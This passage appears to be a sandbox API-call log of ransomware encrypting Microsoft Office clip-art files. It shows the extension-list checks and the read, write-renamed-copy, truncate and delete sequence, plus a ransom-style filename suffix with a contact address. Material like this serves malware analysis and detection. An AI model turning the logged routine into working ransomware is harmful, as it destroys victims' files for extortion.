	[0052.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.832] lstrlenW (lpString=".1cd") returned 4
	[0052.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0052.832] lstrlenW (lpString=".jpg") returned 4
	[0052.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.832] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.832] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0052.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.833] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6632) returned 1
	[0052.834] CloseHandle (hObject=0x2ec) returned 1
	[0052.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220
	[0052.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.835] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.835] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.835] GetLastError () returned 0x0
	[0052.835] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x19e8, lpOverlapped=0x0) returned 1
	[0053.046] WriteFile (in: hFile=0x394, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0053.047] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.047] WriteFile (in: hFile=0x394, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.047] SetEndOfFile (hFile=0x394) returned 1
	[0053.047] CloseHandle (hObject=0x394) returned 1
	[0053.048] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.048] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.050] CloseHandle (hObject=0x2e0) returned 1
	[0053.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1
	[0053.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.050] lstrlenW (lpString=".doc") returned 4
	[0053.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.050] lstrlenW (lpString=".docx") returned 5
	[0053.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.050] lstrlenW (lpString=".pdf") returned 4
	[0053.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.050] lstrlenW (lpString=".xls") returned 4
	[0053.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.050] lstrlenW (lpString=".xlsx") returned 5
	[0053.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.050] lstrlenW (lpString=".ppt") returned 4
	[0053.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.051] lstrlenW (lpString=".zip") returned 4
	[0053.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.051] lstrlenW (lpString=".rar") returned 4
	[0053.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.051] lstrlenW (lpString=".bz2") returned 4
	[0053.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.051] lstrlenW (lpString=".7z") returned 3
	[0053.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.051] lstrlenW (lpString=".dbf") returned 4
	[0053.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.051] lstrlenW (lpString=".1cd") returned 4
	[0053.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0053.051] lstrlenW (lpString=".jpg") returned 4
	[0053.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.051] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.051] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.052] GetLastError () returned 0x0
	[0053.052] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0053.093] WriteFile (in: hFile=0x394, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0053.094] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.094] WriteFile (in: hFile=0x394, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.094] SetEndOfFile (hFile=0x394) returned 1
	[0053.094] CloseHandle (hObject=0x394) returned 1
	[0053.095] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.095] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.096] CloseHandle (hObject=0x2e0) returned 1
	[0053.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1
	[0053.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.096] lstrlenW (lpString=".doc") returned 4
	[0053.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.096] lstrlenW (lpString=".docx") returned 5
	[0053.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.096] lstrlenW (lpString=".pdf") returned 4
	[0053.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.096] lstrlenW (lpString=".xls") returned 4
	[0053.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.096] lstrlenW (lpString=".xlsx") returned 5
	[0053.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.096] lstrlenW (lpString=".ppt") returned 4
	[0053.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.097] lstrlenW (lpString=".zip") returned 4
	[0053.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.097] lstrlenW (lpString=".rar") returned 4
	[0053.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.097] lstrlenW (lpString=".bz2") returned 4
	[0053.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.097] lstrlenW (lpString=".7z") returned 3
	[0053.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.097] lstrlenW (lpString=".dbf") returned 4
	[0053.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.097] lstrlenW (lpString=".1cd") returned 4
	[0053.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0053.097] lstrlenW (lpString=".jpg") returned 4
	[0053.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.124] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.124] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.136] GetLastError () returned 0x0
	[0053.136] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xc48, lpOverlapped=0x0) returned 1
	[0053.173] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0053.179] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.179] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.185] SetEndOfFile (hFile=0x384) returned 1
	[0053.185] CloseHandle (hObject=0x384) returned 1
	[0053.186] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.186] SetEndOfFile (hFile=0x34c) returned 1
	[0053.187] CloseHandle (hObject=0x34c) returned 1
	[0053.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString=".doc") returned 4
	[0053.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString=".docx") returned 5
	[0053.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.188] lstrlenW (lpString=".pdf") returned 4
	[0053.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString=".xls") returned 4
	[0053.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.188] lstrlenW (lpString=".xlsx") returned 5
	[0053.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.188] lstrlenW (lpString=".ppt") returned 4
	[0053.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString=".zip") returned 4
	[0053.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.188] lstrlenW (lpString=".rar") returned 4
	[0053.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString=".bz2") returned 4
	[0053.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString=".7z") returned 3
	[0053.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString=".dbf") returned 4
	[0053.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString=".1cd") returned 4
	[0053.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0053.188] lstrlenW (lpString=".jpg") returned 4
	[0053.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.189] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.189] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.189] GetLastError () returned 0x0
	[0053.189] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x10c8, lpOverlapped=0x0) returned 1
	[0053.208] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x10d0, lpOverlapped=0x0) returned 1
	[0053.208] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.209] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.209] SetEndOfFile (hFile=0x384) returned 1
	[0053.209] CloseHandle (hObject=0x384) returned 1
	[0053.209] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.209] SetEndOfFile (hFile=0x34c) returned 1
	[0053.210] CloseHandle (hObject=0x34c) returned 1
	[0053.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1
	[0053.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.216] lstrlenW (lpString=".doc") returned 4
	[0053.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.216] lstrlenW (lpString=".docx") returned 5
	[0053.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.216] lstrlenW (lpString=".pdf") returned 4
	[0053.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.216] lstrlenW (lpString=".xls") returned 4
	[0053.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.216] lstrlenW (lpString=".xlsx") returned 5
	[0053.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.216] lstrlenW (lpString=".ppt") returned 4
	[0053.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.216] lstrlenW (lpString=".zip") returned 4
	[0053.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.216] lstrlenW (lpString=".rar") returned 4
	[0053.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.216] lstrlenW (lpString=".bz2") returned 4
	[0053.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.216] lstrlenW (lpString=".7z") returned 3
	[0053.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.217] lstrlenW (lpString=".dbf") returned 4
	[0053.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.217] lstrlenW (lpString=".1cd") returned 4
	[0053.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0053.217] lstrlenW (lpString=".jpg") returned 4
	[0053.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.245] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.245] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.246] GetLastError () returned 0x0
	[0053.246] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1384, lpOverlapped=0x0) returned 1
	[0053.287] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0053.289] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.289] WriteFile (in: hFile=0x398, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.289] SetEndOfFile (hFile=0x398) returned 1
	[0053.289] CloseHandle (hObject=0x398) returned 1
	[0053.290] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.290] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.290] CloseHandle (hObject=0x2ec) returned 1
	[0053.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1
	[0053.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.291] lstrlenW (lpString=".doc") returned 4
	[0053.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.291] lstrlenW (lpString=".docx") returned 5
	[0053.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.291] lstrlenW (lpString=".pdf") returned 4
	[0053.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.291] lstrlenW (lpString=".xls") returned 4
	[0053.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.291] lstrlenW (lpString=".xlsx") returned 5
	[0053.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.291] lstrlenW (lpString=".ppt") returned 4
	[0053.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0053.292] lstrlenW (lpString=".zip") returned 4
	[0053.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.292] lstrlenW (lpString=".rar") returned 4
	[0053.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.292] lstrlenW (lpString=".bz2") returned 4
	[0053.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.292] lstrlenW (lpString=".7z") returned 3
	[0053.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
